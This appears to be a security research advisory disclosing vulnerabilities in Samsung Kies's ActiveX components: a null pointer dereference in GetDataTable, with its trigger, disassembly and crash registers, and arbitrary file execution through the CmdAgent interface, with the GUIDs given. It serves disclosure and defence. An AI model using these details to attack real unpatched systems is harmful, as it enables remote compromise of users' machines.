Advisory Details:  
  
High-Tech Bridge Security Research Lab has discovered multiple vulnerabilities in Samsung Kies synchronization utility that allows remote attacker to compromise affected system, execute and modify arbitrary files, modify arbitrary directories and modify System Registry with privileges of the current user.   
  
  
1) Null Pointer Dereference in Samsung Kies: CVE-2012-3806  
  
The vulnerability exists due to a null pointer dereference error in GetDataTable() method within the Samsung.DeviceService.DCA.DeviceDataParagonATGM.1 ActiveX control (DCAPARAGONGM.dll, GUID {7650BC47-036D-4D5B-95B4-9D622C8D00A4}, located by default in "C:\Program Files(x86)\Samsung\Kies\External\DeviceModules\"). A remote attacker can pass "tagDATATABLE_SUID" argument equal to 0 to the GetDataTable() method and rise an ACCESS_VIOLATION exception on a MOV EDX,[EAX] instruction, as EAX is previously zeroed by an unexpected NULL value in the memory region pointed by ECX:  
  
  
Disassembly:  
--------------------------------------------------  
2A22B95 MOV ECX,[EBP+10]  
2A22B98 MOV EAX,[ECX]  
2A22B9A MOV EDX,[EAX] // Crash through  
Null Pointer Dereference  
2A22B9C PUSH 0  
2A22B9E PUSH 0  
2A22BA0 PUSH 2A71E68  
2A22BA5 PUSH EAX  
2A22BA6 MOV EAX,[EDX+50]  
2A22BA9 CALL EAX  
  
Registers:  
--------------------------------------------------  
EIP 02A22B9A  
EAX 00000000  
EBX 02A66774 -> 029E58F0  
ECX 0022EBC0 -> 00000000  
EDX 006DFCE2 -> 00030000

2) Arbitrary File Execution in Samsung Kies: CVE-2012-3807  
  
The CmdAgent.dll library, located by default in "C:\Program Files (x86)\Samsung\Kies\External\FirmwareUpdate\", has numerous arbitrary file execution vulnerabilities present in "CmdAgentLib" (GUID: {1FA56F8D-A66E-4ABD-9BC9-6F61469E59AD}), in particular in the 'ICommandAgent' interface of the "CommandAgent" class (GUID: {C668B648-A2BD-432C-854F-C8C0A275E1F1}). This default "ICommandAgent" interface has multiple functions and methods, and most of them can be leveraged by an untrusted source.
